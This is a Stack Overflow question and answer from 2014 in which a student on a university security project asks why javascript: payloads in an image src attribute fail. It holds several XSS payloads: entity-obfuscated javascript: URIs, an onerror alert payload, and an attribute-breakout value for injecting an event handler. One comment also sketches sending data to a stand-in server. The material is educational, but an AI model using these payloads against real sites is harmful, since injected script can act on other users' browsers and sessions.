Scope of Javascript inside src attribute of image

Question

I have to do an XSS-Attack for a security related university project. I want to store an image that has malicious code inside its source attribute. However, it seems to be that I don't have access to any javascript objects from the the src attribute.

Here are some things I tried:

<img src="j&#X41vascript:alert('XSS')">

Throws: Reference Error alert is not defined.

<img src="j&#X41vascript:window.alert('XSS')">

Throws: Reference Error window is not defined

<img src="j&#X41vascript:var x = new XMLHttpRequest();">

Throws: Reference Error XMLHttpRequest is not defined

What is the problem here, and how can I access the main window of the site and the objects I want to access?

EDIT: Onerror and all the other events are filtered.

This comment is not really helpfull. why is it not executed? And the error implies that it is executed. — amaik
– amaik, Commented Nov 25, 2014 at 12:26
Can you do something like javascript:'http//yourserver.example?js='+Object (and look what is arriving at yourserver)? — Bergi
– Bergi, Commented Nov 25, 2014 at 12:29
Not all browsers are vulnerable to this attack. What browser are you targeting/testing -stackoverflow.com/questions/1798633/… — Sam Greenhalgh
– Sam Greenhalgh, Commented Nov 25, 2014 at 12:30
There is no way to execute Javascript codes through src attribute of img. ( I assume that quotes are encoded ) . Also have you read this ? stackoverflow.com/questions/1798633/… — Mehmet Ince
– Mehmet Ince, Commented Nov 25, 2014 at 12:33

Denys Séguret · Accepted Answer · 2014-11-25 12:34:38Z

2

The src isn't executed, so that won't work.

A solution would be to use onerror :

<img src="wrong" onerror="alert('XSS')">

Depending on how your src attribute is injected, you may be able to pass this value :

wrong" onerror="alert('XSS')

But no decent framework is vulnerable to that kind of attack.

edited Nov 25, 2014 at 12:34

answered Nov 25, 2014 at 12:25

Denys Séguret

384k90 gold badges813 silver badges780 bronze badges

Sign up to request clarification or add additional context in comments.

2 Comments

Gumbo Over a year ago

Actually, the javascript pseudo protocol denotes anything following is interpreted as JavaScript.

Denys Séguret Over a year ago

@Gumbo On the src attribute with a not super old browser ? I don't think so.

Collectives™ on Stack Overflow

Scope of Javascript inside src attribute of image

1 Answer 1

2 Comments

Your Answer

Linked

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

2 Comments

Your Answer

Sign up or log in

Post as a guest

Linked

Related